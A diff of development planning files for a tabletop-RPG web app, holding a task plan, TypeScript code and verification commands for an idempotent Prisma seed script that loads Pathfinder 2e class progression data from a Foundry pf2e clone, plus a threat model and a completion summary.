||||
Create `server/prisma/seed-class-progression.ts` with the following structure (executor implements bodies):
|
||||
|
||||
```typescript
|
||||
/**
|
||||
* Seed: ClassProgression + ClassFeatureOption from Foundry pf2e + hand-curated overlays.
|
||||
*
|
||||
* Sources:
|
||||
* - Foundry pf2e class JSONs at `server/prisma/data/foundry-pf2e/packs/classes/*.json`
|
||||
* (cloned manually by dev; see SEED-README.md).
|
||||
* - SPELL_SLOT_OVERLAY from `data/spell-slot-overlays.ts` (Pitfall #6 mitigation).
|
||||
* - CLASS_FEATURE_OPTIONS from `data/class-feature-options.ts` (D-19 choices).
|
||||
*
|
||||
* Idempotent — safe to re-run.
|
||||
*
|
||||
* Compound unique keys (generated by Prisma from Plan 01 schema):
|
||||
* - ClassProgression has `@@unique([className, level])` -> field name: `className_level`
|
||||
* - ClassFeatureOption has `@@unique([optionsRef, optionKey])` -> field name: `optionsRef_optionKey`
|
||||
* If Plan 01's `@@unique([...])` declarations are reordered, Prisma swaps the field names.
|
||||
* Verify Plan 01's schema field order before assuming. If the order changes, update the
|
||||
* findUnique calls below accordingly.
|
||||
*/
|
||||
|
||||
import 'dotenv/config';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import { PrismaClient } from '../src/generated/prisma/client.js';
|
||||
import { PrismaPg } from '@prisma/adapter-pg';
|
||||
import { SPELL_SLOT_OVERLAY, type SpellSlotOverlayEntry } from './data/spell-slot-overlays';
|
||||
import { CLASS_FEATURE_OPTIONS } from './data/class-feature-options';
|
||||
|
||||
const adapter = new PrismaPg({ connectionString: process.env.DATABASE_URL });
|
||||
const prisma = new PrismaClient({ adapter });
|
||||
|
||||
const FOUNDRY_CLASSES_DIR = path.join(__dirname, 'data', 'foundry-pf2e', 'packs', 'classes');
|
||||
|
||||
// The 16 D-16 classes. Filename in Foundry = lowercase classname.
|
||||
const D16_CLASS_NAMES = [
|
||||
'Alchemist', 'Barbarian', 'Bard', 'Champion', 'Cleric', 'Druid',
|
||||
'Fighter', 'Investigator', 'Monk', 'Oracle', 'Ranger', 'Rogue',
|
||||
'Sorcerer', 'Swashbuckler', 'Witch', 'Wizard',
|
||||
] as const;
|
||||
|
||||
// Map of (className → choiceType, choiceOptionsRef) for the L1 doctrine/school/etc. step.
|
||||
const L1_CHOICE_MAP: Record<string, { choiceType: string; choiceOptionsRef: string } | null> = {
|
||||
Cleric: { choiceType: 'doctrine', choiceOptionsRef: 'cleric-doctrine' },
|
||||
Wizard: { choiceType: 'school', choiceOptionsRef: 'wizard-school' },
|
||||
Champion: { choiceType: 'cause', choiceOptionsRef: 'champion-cause' },
|
||||
Druid: { choiceType: 'order', choiceOptionsRef: 'druid-order' },
|
||||
Sorcerer: { choiceType: 'bloodline', choiceOptionsRef: 'sorcerer-bloodline' },
|
||||
Bard: { choiceType: 'muse', choiceOptionsRef: 'bard-muse' },
|
||||
Barbarian: { choiceType: 'instinct', choiceOptionsRef: 'barbarian-instinct' },
|
||||
Witch: { choiceType: 'patron', choiceOptionsRef: 'witch-patron' },
|
||||
Oracle: { choiceType: 'mystery', choiceOptionsRef: 'oracle-mystery' },
|
||||
Investigator: { choiceType: 'methodology', choiceOptionsRef: 'investigator-methodology' },
|
||||
Ranger: { choiceType: 'edge', choiceOptionsRef: 'ranger-edge' },
|
||||
Rogue: { choiceType: 'racket', choiceOptionsRef: 'rogue-racket' },
|
||||
Swashbuckler: { choiceType: 'style', choiceOptionsRef: 'swashbuckler-style' },
|
||||
Alchemist: { choiceType: 'research-field', choiceOptionsRef: 'alchemist-research-field' },
|
||||
Fighter: null, // Fighter has no L1 choice; weapon mastery is at L5
|
||||
Monk: null, // Monk's L1 stance is via class feats, not a choiceType
|
||||
};
|
||||
|
||||
// Optional: Fighter L5 weapon-mastery group choice
|
||||
const HIGHER_LEVEL_CHOICES: Array<{ className: string; level: number; choiceType: string; choiceOptionsRef: string }> = [
|
||||
{ className: 'Fighter', level: 5, choiceType: 'weapon-mastery-group', choiceOptionsRef: 'fighter-weapon-mastery' },
|
||||
];
|
||||
|
||||
interface FoundryClassJson {
|
||||
name: string;
|
||||
type: 'class';
|
||||
system: {
|
||||
hp: number;
|
||||
keyAbility: string[];
|
||||
spellcasting: number;
|
||||
savingThrows: { fortitude: number; reflex: number; will: number };
|
||||
attacks: Record<string, number | { rank: number; name?: string }>;
|
||||
defenses: Record<string, number>;
|
||||
classFeatLevels?: { value: number[] };
|
||||
items: Record<string, { level: number; name: string; uuid?: string }>;
|
||||
};
|
||||
}
|
||||
|
||||
function readFoundryClass(className: string): FoundryClassJson {
|
||||
// Foundry filename convention: lowercase, e.g. 'fighter.json'
|
||||
const filename = `${className.toLowerCase()}.json`;
|
||||
const fullPath = path.join(FOUNDRY_CLASSES_DIR, filename);
|
||||
if (!fs.existsSync(fullPath)) {
|
||||
throw new Error(
|
||||
`Foundry pf2e clone not found at ${fullPath}. ` +
|
||||
`See .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md for setup.`,
|
||||
);
|
||||
}
|
||||
const raw = fs.readFileSync(fullPath, 'utf-8');
|
||||
const json = JSON.parse(raw) as FoundryClassJson;
|
||||
if (json.type !== 'class' || !json.name || !json.system) {
|
||||
throw new Error(`Class JSON does not match expected schema: ${fullPath}`);
|
||||
}
|
||||
return json;
|
||||
}
|
||||
|
||||
/** Map Foundry numeric proficiency rank (0..8) to our Proficiency string enum. */
|
||||
function profFromValue(v: number | undefined): 'UNTRAINED' | 'TRAINED' | 'EXPERT' | 'MASTER' | 'LEGENDARY' {
|
||||
if (v === undefined || v === null) return 'UNTRAINED';
|
||||
if (v >= 8) return 'LEGENDARY';
|
||||
if (v >= 6) return 'MASTER';
|
||||
if (v >= 4) return 'EXPERT';
|
||||
if (v >= 2) return 'TRAINED';
|
||||
return 'UNTRAINED';
|
||||
}
|
||||
|
||||
/**
|
||||
* Aggregate all Foundry items at this level and the spell-slot overlay entries at this level
|
||||
* into a single ClassProgression upsert payload.
|
||||
*/
|
||||
function buildProgressionRow(className: string, level: number, foundry: FoundryClassJson) {
|
||||
// 1. Grants from Foundry items
|
||||
const grants: string[] = Object.values(foundry.system.items)
|
||||
.filter(item => item.level === level)
|
||||
.map(item => item.name);
|
||||
|
||||
// 2. Proficiency changes — for L1 only, take the class's base proficiency from the JSON.
|
||||
let proficiencyChanges: Record<string, string> = {};
|
||||
if (level === 1) {
|
||||
proficiencyChanges = {
|
||||
fortitude: profFromValue(foundry.system.savingThrows.fortitude),
|
||||
reflex: profFromValue(foundry.system.savingThrows.reflex),
|
||||
will: profFromValue(foundry.system.savingThrows.will),
|
||||
};
|
||||
}
|
||||
|
||||
// 3. Spell-slot overlay merge
|
||||
const overlayEntries: SpellSlotOverlayEntry[] = (SPELL_SLOT_OVERLAY[className] || [])
|
||||
.filter(e => e.level === level);
|
||||
const slotEntry = overlayEntries.find(e => e.spellSlotIncrement);
|
||||
const cantripEntry = overlayEntries.find(e => e.cantripIncrement !== undefined);
|
||||
const repertoireEntry = overlayEntries.find(e => e.repertoireIncrement !== undefined);
|
||||
|
||||
// 4. Choice type for this (class, level)
|
||||
let choiceType: string | null = null;
|
||||
let choiceOptionsRef: string | null = null;
|
||||
if (level === 1 && L1_CHOICE_MAP[className]) {
|
||||
const choice = L1_CHOICE_MAP[className]!;
|
||||
choiceType = choice.choiceType;
|
||||
choiceOptionsRef = choice.choiceOptionsRef;
|
||||
}
|
||||
const higherChoice = HIGHER_LEVEL_CHOICES.find(c => c.className === className && c.level === level);
|
||||
if (higherChoice) {
|
||||
choiceType = higherChoice.choiceType;
|
||||
choiceOptionsRef = higherChoice.choiceOptionsRef;
|
||||
}
|
||||
|
||||
return {
|
||||
className,
|
||||
level,
|
||||
grants,
|
||||
proficiencyChanges,
|
||||
spellSlotIncrement: slotEntry?.spellSlotIncrement ?? null,
|
||||
cantripIncrement: cantripEntry?.cantripIncrement ?? null,
|
||||
repertoireIncrement: repertoireEntry?.repertoireIncrement ?? null,
|
||||
choiceType,
|
||||
choiceOptionsRef,
|
||||
};
|
||||
}
|
||||
|
||||
async function seedClassProgression(): Promise<{ created: number; updated: number; errors: number }> {
|
||||
let created = 0; let updated = 0; let errors = 0;
|
||||
console.log('Seeding ClassProgression for 16 classes x 20 levels...');
|
||||
|
||||
for (const className of D16_CLASS_NAMES) {
|
||||
let foundry: FoundryClassJson;
|
||||
try {
|
||||
foundry = readFoundryClass(className);
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(`Failed to load Foundry class ${className}:`, (e as Error).message);
|
||||
continue;
|
||||
}
|
||||
for (let level = 1; level <= 20; level++) {
|
||||
const row = buildProgressionRow(className, level, foundry);
|
||||
try {
|
||||
// Compound unique key field name `className_level` is generated from
|
||||
// `@@unique([className, level])` declared in Plan 01's schema. If that
|
||||
// declaration is reordered, Prisma will name the key `level_className`
|
||||
// instead — verify schema before changing.
|
||||
const existing = await prisma.classProgression.findUnique({
|
||||
where: { className_level: { className, level } },
|
||||
});
|
||||
if (existing) {
|
||||
await prisma.classProgression.update({
|
||||
where: { id: existing.id },
|
||||
data: row,
|
||||
});
|
||||
updated++;
|
||||
} else {
|
||||
await prisma.classProgression.create({ data: row });
|
||||
created++;
|
||||
}
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(`Failed to seed ${className} L${level}:`, (e as Error).message);
|
||||
}
|
||||
}
|
||||
}
|
||||
console.log(` ClassProgression: ${created} created, ${updated} updated, ${errors} errors`);
|
||||
return { created, updated, errors };
|
||||
}
|
||||
|
||||
async function seedClassFeatureOptions(): Promise<{ created: number; updated: number; errors: number }> {
|
||||
let created = 0; let updated = 0; let errors = 0;
|
||||
console.log(`Seeding ${CLASS_FEATURE_OPTIONS.length} ClassFeatureOption rows...`);
|
||||
|
||||
for (const opt of CLASS_FEATURE_OPTIONS) {
|
||||
try {
|
||||
// Compound unique key field name `optionsRef_optionKey` is generated from
|
||||
// `@@unique([optionsRef, optionKey])` in Plan 01's schema. Same caveat as above
|
||||
// applies — verify the field order before touching this.
|
||||
const existing = await prisma.classFeatureOption.findUnique({
|
||||
where: { optionsRef_optionKey: { optionsRef: opt.optionsRef, optionKey: opt.optionKey } },
|
||||
});
|
||||
if (existing) {
|
||||
await prisma.classFeatureOption.update({
|
||||
where: { id: existing.id },
|
||||
data: {
|
||||
name: opt.name,
|
||||
nameGerman: opt.nameGerman ?? null,
|
||||
description: opt.description,
|
||||
grants: opt.grants,
|
||||
proficiencyChanges: opt.proficiencyChanges ?? null,
|
||||
},
|
||||
});
|
||||
updated++;
|
||||
} else {
|
||||
await prisma.classFeatureOption.create({
|
||||
data: {
|
||||
optionsRef: opt.optionsRef,
|
||||
optionKey: opt.optionKey,
|
||||
name: opt.name,
|
||||
nameGerman: opt.nameGerman ?? null,
|
||||
description: opt.description,
|
||||
grants: opt.grants,
|
||||
proficiencyChanges: opt.proficiencyChanges ?? null,
|
||||
},
|
||||
});
|
||||
created++;
|
||||
}
|
||||
} catch (e) {
|
||||
errors++;
|
||||
console.error(`Failed to seed option ${opt.optionsRef}/${opt.optionKey}:`, (e as Error).message);
|
||||
}
|
||||
}
|
||||
console.log(` ClassFeatureOption: ${created} created, ${updated} updated, ${errors} errors`);
|
||||
return { created, updated, errors };
|
||||
}
|
||||
|
||||
async function main(): Promise<void> {
|
||||
const cp = await seedClassProgression();
|
||||
const cfo = await seedClassFeatureOptions();
|
||||
const totalErrors = cp.errors + cfo.errors;
|
||||
if (totalErrors > 0) {
|
||||
console.error(`\nSeed completed with ${totalErrors} errors.`);
|
||||
process.exit(1);
|
||||
}
|
||||
console.log('\nClassProgression + ClassFeatureOption seed complete.');
|
||||
}
|
||||
|
||||
main()
|
||||
.catch(e => { console.error(e); process.exit(1); })
|
||||
.finally(() => prisma.$disconnect());
|
||||
```
|
||||
|
||||
**Constraints:**
|
||||
- `: any` is forbidden. Use the `FoundryClassJson` interface (or expand it).
|
||||
- The script must fail loudly with the README pointer when the Foundry clone is missing.
|
||||
- Idempotency: every row uses `findUnique → update OR create` per RESEARCH.md §Pitfall 5 + analog `seed-equipment.ts` lines 105-130.
|
||||
- The script is **generic** — it iterates over D16_CLASS_NAMES and SPELL_SLOT_OVERLAY/CLASS_FEATURE_OPTIONS, so when Plan 03b appends entries to those modules nothing in this script needs to change.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx tsc --noEmit -p tsconfig.json 2>&1 | grep -E "seed-class-progression" || echo "tsc clean"</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/prisma/seed-class-progression.ts` exists
|
||||
- File contains the literal string `import { SPELL_SLOT_OVERLAY` (proves overlay import)
|
||||
- File contains the literal string `import { CLASS_FEATURE_OPTIONS` (proves option import)
|
||||
- File contains the literal string `prisma.classProgression.findUnique` (proves idempotent pattern)
|
||||
- File contains the literal string `prisma.classFeatureOption.findUnique` (proves idempotent pattern)
|
||||
- File contains the literal string `Foundry pf2e clone not found at` (proves loud-fail pattern)
|
||||
- File contains the compound-key explanatory comment about `@@unique` ordering
|
||||
- File contains NO `: any` outside comments
|
||||
- `cd server && npx tsc --noEmit -p tsconfig.json` exits 0
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Seed script type-checks cleanly. Idempotent CRUD against ClassProgression + ClassFeatureOption. Imports both hand-curated data modules. Generic over D16_CLASS_NAMES so Plan 03b is data-only.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 5: Run the seed (worked-example verification — Wizard end-to-end)</name>
|
||||
<files>(no file writes — execution + verification only)</files>
|
||||
<read_first>
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md
|
||||
- server/prisma/seed-class-progression.ts
|
||||
- server/package.json (db:seed:class-progression script)
|
||||
</read_first>
|
||||
<action>
|
||||
**Step 1 — Clone the Foundry pf2e repo at a stable tag** following the README:
|
||||
|
||||
```bash
|
||||
cd server/prisma/data
|
||||
git clone --depth 1 --branch <CHOSEN_TAG> https://github.com/foundryvtt/pf2e.git foundry-pf2e
|
||||
```
|
||||
|
||||
The executor selects a stable tag from `https://github.com/foundryvtt/pf2e/tags` that has been released ≥1 week ago and has no known issues. Record the tag in the SEED-README.md `<PINNED_TAG>` placeholder.
|
||||
|
||||
**Step 2 — Verify the clone has class JSONs:**
|
||||
|
||||
```bash
|
||||
ls server/prisma/data/foundry-pf2e/packs/classes/
|
||||
```
|
||||
|
||||
Should list at least 16 `.json` files matching the D-16 class names (lowercase).
|
||||
|
||||
**Step 3 — Run the seed:**
|
||||
|
||||
```bash
|
||||
cd server && npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Plan 03 ships only Wizard fully populated in the overlays, so the expected output for THIS plan (before Plan 03b runs) is approximately:
|
||||
|
||||
```
|
||||
Seeding ClassProgression for 16 classes x 20 levels...
|
||||
ClassProgression: 320 created, 0 updated, 0 errors
|
||||
Seeding 1 ClassFeatureOption rows...
|
||||
ClassFeatureOption: 1 created, 0 updated, 0 errors
|
||||
ClassProgression + ClassFeatureOption seed complete.
|
||||
```
|
||||
|
||||
(The 320 ClassProgression rows are populated regardless — the overlays just leave non-Wizard rows with null spellSlotIncrement / null choiceOptionsRef. Plan 03b updates those rows in place.)
|
||||
|
||||
**Step 4 — Run the seed AGAIN to prove idempotency:**
|
||||
|
||||
```bash
|
||||
cd server && npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Expected output: `0 created, 320 updated, 0 errors` for ClassProgression and `0 created, 1 updated, 0 errors` for ClassFeatureOption.
|
||||
|
||||
**Step 5 — Verify Wizard worked example end-to-end:**
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "level", "spellSlotIncrement", "cantripIncrement" FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"' ORDER BY "level" LIMIT 5'
|
||||
```
|
||||
|
||||
Expected: rows for Wizard L1..L5 with non-null `spellSlotIncrement` JSON containing `tradition: ARCANE`. L1 also has cantripIncrement=5.
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "className", "choiceType", "choiceOptionsRef" FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"' AND "level" = 1'
|
||||
```
|
||||
|
||||
Expected: 1 row with `choiceType=school`, `choiceOptionsRef=wizard-school`.
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "optionKey", "name" FROM "ClassFeatureOption" WHERE "optionsRef" = '"'"'wizard-school'"'"''
|
||||
```
|
||||
|
||||
Expected: at least 1 row (Wizard School worked example: `battle-magic`).
|
||||
|
||||
If any verification step fails, the plan is NOT done — fix the seed script or overlay data.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && psql $DATABASE_URL -t -c 'SELECT COUNT(*) FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"'' | tr -d ' \n'</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `server/prisma/data/foundry-pf2e/packs/classes/` directory exists with at least 16 .json files (Foundry clone present)
|
||||
- `cd server && npm run db:seed:class-progression` exits 0
|
||||
- First run reports `≥320 created` for ClassProgression and `≥1 created` for ClassFeatureOption
|
||||
- Second run reports `0 created, ≥320 updated` for ClassProgression (proves idempotency)
|
||||
- `psql $DATABASE_URL -t -c 'SELECT COUNT(*) FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"''` outputs at least 20 (Wizard L1..L20)
|
||||
- `psql $DATABASE_URL -t -c 'SELECT COUNT(*) FROM "ClassFeatureOption" WHERE "optionsRef" = '"'"'wizard-school'"'"''` outputs at least 1
|
||||
- `psql $DATABASE_URL -c 'SELECT * FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"' AND "level" = 1'` returns a row with non-null `spellSlotIncrement`, non-null `cantripIncrement`, `choiceType=school`, `choiceOptionsRef=wizard-school`
|
||||
- SEED-README.md has the `<PINNED_TAG>` placeholder replaced with the actual tag chosen
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Seed script runs cleanly twice; Wizard worked example fully populated end-to-end (20 ClassProgression rows + 1+ ClassFeatureOption row). Plan 03b can append further data and re-run to bulk-update the remaining classes without changes to the script.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| dev-shell → seed script | Developer runs the seed script with elevated DB access (DATABASE_URL with write privilege). Trust assumed within self-hosted single-tenant model. |
|
||||
| Foundry clone → seed parser | The seed reads JSON from a developer-controlled local clone. Trust = developer chooses a clean tag. |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|-------------|-----------------|
|
||||
| T-1-W2-01 | Tampering | Foundry pf2e tag is moved underneath us between seed runs | mitigate | SEED-README.md instructs the dev to clone a specific pinned tag; the seed script's loud-fail on schema mismatch (Pitfall #5) catches drift. |
|
||||
| T-1-W2-02 | Tampering | Hand-curated overlay contains a bug (e.g. wrong slot count for class X) | mitigate | Plan 04's integration tests assert ClassProgression-driven recompute results for a representative caster (Wizard L1 cantrips). Bugs surface there. |
|
||||
| T-1-W2-03 | Information Disclosure | DATABASE_URL leaked in seed output / error logs | accept | Self-hosted single-tenant; developer controls .env; no production deploy yet exposes seed script. |
|
||||
| T-1-W2-04 | Repudiation | Seed errors silently corrupt rows | mitigate | Idempotent pattern with try/catch per row; error count reported in console; non-zero error count exits 1 (CI catches this). |
|
||||
| T-1-W2-05 | DoS | Cascading seed errors flood DB connection pool | mitigate | Sequential per-row CRUD (no Promise.all); seed completes in <30s for 320+50 rows. |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
After all tasks complete:
|
||||
|
||||
```bash
|
||||
# README + tag pinned
|
||||
cat .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md | grep -E "Pinned tag.*[a-z0-9]"
|
||||
|
||||
# Overlay file types clean
|
||||
cd server && npx tsc --noEmit -p tsconfig.json
|
||||
|
||||
# Seed runs idempotently (run twice, second run = all updates)
|
||||
cd server && npm run db:seed:class-progression && npm run db:seed:class-progression
|
||||
|
||||
# Wizard worked-example row counts
|
||||
psql $DATABASE_URL -c 'SELECT COUNT(*) FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"'' # >= 20
|
||||
psql $DATABASE_URL -c 'SELECT COUNT(*) FROM "ClassFeatureOption" WHERE "optionsRef" = '"'"'wizard-school'"'"'' # >= 1
|
||||
|
||||
# Wizard spellcaster verification
|
||||
psql $DATABASE_URL -c 'SELECT level, "spellSlotIncrement", "cantripIncrement" FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"' AND "spellSlotIncrement" IS NOT NULL ORDER BY level LIMIT 10'
|
||||
|
||||
# Wizard L1 choice verification
|
||||
psql $DATABASE_URL -c 'SELECT "choiceType", "choiceOptionsRef" FROM "ClassProgression" WHERE "className" = '"'"'Wizard'"'"' AND level = 1'
|
||||
```
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SEED-README.md exists with cloning instructions and a recorded pinned Foundry tag
|
||||
- spell-slot-overlays.ts exports types + Wizard fully populated for L1..L19; type-clean
|
||||
- class-feature-options.ts exports types + at least 1 Wizard School entry; type-clean
|
||||
- seed-class-progression.ts type-checks cleanly, imports both overlays, fails loudly on missing Foundry clone, generic over D16_CLASS_NAMES
|
||||
- Running `npm run db:seed:class-progression` populates ≥320 ClassProgression rows
|
||||
- Running it a second time updates 0 created / N updated (idempotent)
|
||||
- Wizard L1..L19 have non-null spellSlotIncrement at appropriate levels
|
||||
- Wizard L1 has choiceType=school + choiceOptionsRef=wizard-school
|
||||
- ClassFeatureOption has ≥1 row for optionsRef=wizard-school (worked example)
|
||||
- Plan 04 (LevelingService) can `prisma.classProgression.findUnique` for `(Wizard, 1)..(Wizard, 20)` and get rows with overlay data
|
||||
- Plan 03b (runs sequentially in Wave 3 immediately after this plan — sequential because both plans write to spell-slot-overlays.ts and class-feature-options.ts — file-ownership conflict) has a clear contract: append entries to spell-slot-overlays.ts + class-feature-options.ts, then re-run seed to bulk-populate the other classes
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
After completion, create `.planning/phases/01-level-up-pf2e-regelkonform/01-03-SUMMARY.md` documenting:
|
||||
- The pinned Foundry pf2e tag chosen
|
||||
- Final row counts after Plan 03 alone (ClassProgression: ~320; ClassFeatureOption: ≥1)
|
||||
- Confirmation that Wizard L1..L19 spell-slot entries are correct against AoN
|
||||
- Confirmation idempotency observed on second run
|
||||
- Note that Plan 03b will append data and re-run the seed without code changes
|
||||
</output>
|
||||
246
.planning/phases/01-level-up-pf2e-regelkonform/01-03-SUMMARY.md
Normal file
246
.planning/phases/01-level-up-pf2e-regelkonform/01-03-SUMMARY.md
Normal file
@@ -0,0 +1,246 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 03
|
||||
subsystem: seeding
|
||||
tags: [seeding, prisma, foundry-pf2e, class-progression, spellcaster, wizard, level-up, pipeline]
|
||||
|
||||
# Dependency graph
|
||||
requires:
|
||||
- phase: 01-level-up-pf2e-regelkonform
|
||||
provides: ClassProgression + ClassFeatureOption Prisma tables (Plan 01-01); Proficiency type vocabulary (Plan 01-02 lib/types.ts)
|
||||
provides:
|
||||
- Idempotent seed pipeline (server/prisma/seed-class-progression.ts) generic over D16_CLASS_NAMES — Plan 03b appends data, no script changes
|
||||
- Hand-curated spell-slot overlay (server/prisma/data/spell-slot-overlays.ts) with type definitions + Wizard L1..L19 fully populated
|
||||
- Hand-curated class-feature-options (server/prisma/data/class-feature-options.ts) with type definitions + 1 Wizard School entry
|
||||
- Pinned Foundry pf2e tag (pf2e-8.0.3) and dev README at .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md
|
||||
- 320 ClassProgression rows in PostgreSQL (16 D-16 classes × L1..L20)
|
||||
- 1 ClassFeatureOption row (wizard-school / battle-magic)
|
||||
- Wizard end-to-end worked example: choiceType=school, choiceOptionsRef=wizard-school, ARCANE slot progression L1..L19, 5 cantrips at L1
|
||||
affects: [01-03b (data-only append to overlays), 01-04 (LevelingService.commit reads ClassProgression rows), 01-05 (wizard UI uses choiceOptionsRef → ClassFeatureOption)]
|
||||
|
||||
# Tech tracking
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Idempotent compound-key Prisma upsert pattern via findUnique + update OR create"
|
||||
- "Prisma.JsonNull sentinel for nullable Json fields (Prisma 7 typed-input contract)"
|
||||
- "Foundry pf2e clone consumed at seed time only; runtime never reads JSON files"
|
||||
- "Foundry-driven seed + hand-curated overlay merge (Pitfall #6 mitigation: slot tables in prose, not rules)"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md
|
||||
- server/prisma/data/spell-slot-overlays.ts
|
||||
- server/prisma/data/class-feature-options.ts
|
||||
- server/prisma/seed-class-progression.ts
|
||||
modified:
|
||||
- server/tsconfig.json (exclude prisma/data/foundry-pf2e from compilation — gitignored third-party content)
|
||||
|
||||
key-decisions:
|
||||
- "Pinned Foundry pf2e tag pf2e-8.0.3 — current stable Pathfinder 2e system release with Player Core + APG content for all 16 D-16 classes"
|
||||
- "Spell-slot/cantrip/repertoire data hand-curated in spell-slot-overlays.ts (Pitfall #6: Foundry encodes them in description prose, not machine-readable rules)"
|
||||
- "All 16 D-16 class names appear as keys in SPELL_SLOT_OVERLAY (even when value is []) so Plan 03b appends without missing-key bugs"
|
||||
- "ClassFeatureOption.proficiencyChanges stays optional in the entry interface; passing null at the seed call site is rewritten to Prisma.JsonNull to satisfy typed-input contract"
|
||||
- "Pipeline is generic over D16_CLASS_NAMES + SPELL_SLOT_OVERLAY[className] — Plan 03b adds data only, no script changes"
|
||||
- "Foundry pf2e v8 nests pf2e packs under packs/pf2e/classes/ (v7 had packs/classes/ directly) — Pitfall #5 mitigation documented in code comment + SEED-README"
|
||||
|
||||
patterns-established:
|
||||
- "Idempotent seed: findUnique → update OR create per row, with compound-key where clauses inferred from @@unique declarations"
|
||||
- "Hand-curated overlay file with all class keys present (empty arrays for unsupported classes) so future plans append safely"
|
||||
- "Loud-fail seed: missing Foundry clone triggers a deterministic error that points the dev to SEED-README"
|
||||
- "Third-party clone exclusion in tsconfig — gitignored data directories that ship their own TS source must be excluded from project tsc"
|
||||
|
||||
requirements-completed: [LVL-08, LVL-14]
|
||||
|
||||
# Metrics
|
||||
duration: ~14min
|
||||
completed: 2026-04-27
|
||||
---
|
||||
|
||||
# Phase 1 Plan 03: Seed Pipeline + Wizard Worked Example Summary
|
||||
|
||||
**Built the Foundry-pf2e-driven seed pipeline that populates ClassProgression (320 rows) and ClassFeatureOption (1 row) from a pinned pf2e-8.0.3 clone plus hand-curated spell-slot overlays, with Wizard fully wired end-to-end (L1..L19 ARCANE slot progression, 5 cantrips at L1, school choice routing) and idempotent re-runs reporting `0 created, 320 updated`.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** ~14 min
|
||||
- **Tasks:** 5 completed (README, spell-slot overlay, class-feature options, seed script, run+verify)
|
||||
- **Files created:** 4 (SEED-README.md, spell-slot-overlays.ts, class-feature-options.ts, seed-class-progression.ts)
|
||||
- **Files modified:** 1 (server/tsconfig.json — exclude clone dir)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Pinned Foundry tag chosen:** `pf2e-8.0.3` — current stable Pathfinder 2e system release on the `foundryvtt/pf2e` repo. Verified via the GitHub Releases API; tag SHA `c6aac85d186ac768d1db9ac2d379e9510a0825f8`.
|
||||
- **SEED-README.md** at `.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md` documents the clone command, the run command, failure modes, and the v8 pack-layout note. Mentions Plan 03 vs Plan 03b split explicitly.
|
||||
- **spell-slot-overlays.ts** exports `SpellTradition`, `SpellSlotOverlayEntry`, and `SPELL_SLOT_OVERLAY`. Wizard fully populated for L1..L19 (20 entries: L1 has both a cantrip-increment entry and a slot-increment entry). All 15 other D-16 class names appear as keys with empty-array values for Plan 03b to fill.
|
||||
- **class-feature-options.ts** exports `ClassFeatureOptionEntry` and `CLASS_FEATURE_OPTIONS` (1 entry: Wizard School `battle-magic` / "School of Battle Magic"). Anchor comments name 13 other optionsRef strings so Plan 03b knows where to append.
|
||||
- **seed-class-progression.ts** is generic over `D16_CLASS_NAMES` and the two overlay modules — Plan 03b appends entries to the data files and re-runs the same seed without touching the script. Uses Prisma 7's `Prisma.JsonNull` sentinel for nullable Json fields and the compound-key field names `className_level` and `optionsRef_optionKey` generated from Plan 01's `@@unique` declarations.
|
||||
- **Live DB state after seed:**
|
||||
- 320 ClassProgression rows (16 classes × L1..L20)
|
||||
- 20 Wizard rows; L1 has full structure (`grants`, `proficiencyChanges {fortitude:UNTRAINED, reflex:UNTRAINED, will:TRAINED}`, `spellSlotIncrement {tradition:ARCANE, spellLevel:1, count:2}`, `cantripIncrement: 5`, `choiceType: 'school'`, `choiceOptionsRef: 'wizard-school'`)
|
||||
- L2..L18 carry the correct ARCANE/L1..L9 slot progression (2 + 1 per spell grade per pair of levels)
|
||||
- L19 carries the L10 capstone slot
|
||||
- 1 ClassFeatureOption row (`wizard-school` / `battle-magic` / "School of Battle Magic")
|
||||
- **Idempotency proven:** First run reports `320 created, 0 updated, 0 errors` for ClassProgression and `1 created, 0 updated, 0 errors` for ClassFeatureOption; second and third runs report `0 created, 320 updated, 0 errors` and `0 created, 1 updated, 0 errors`.
|
||||
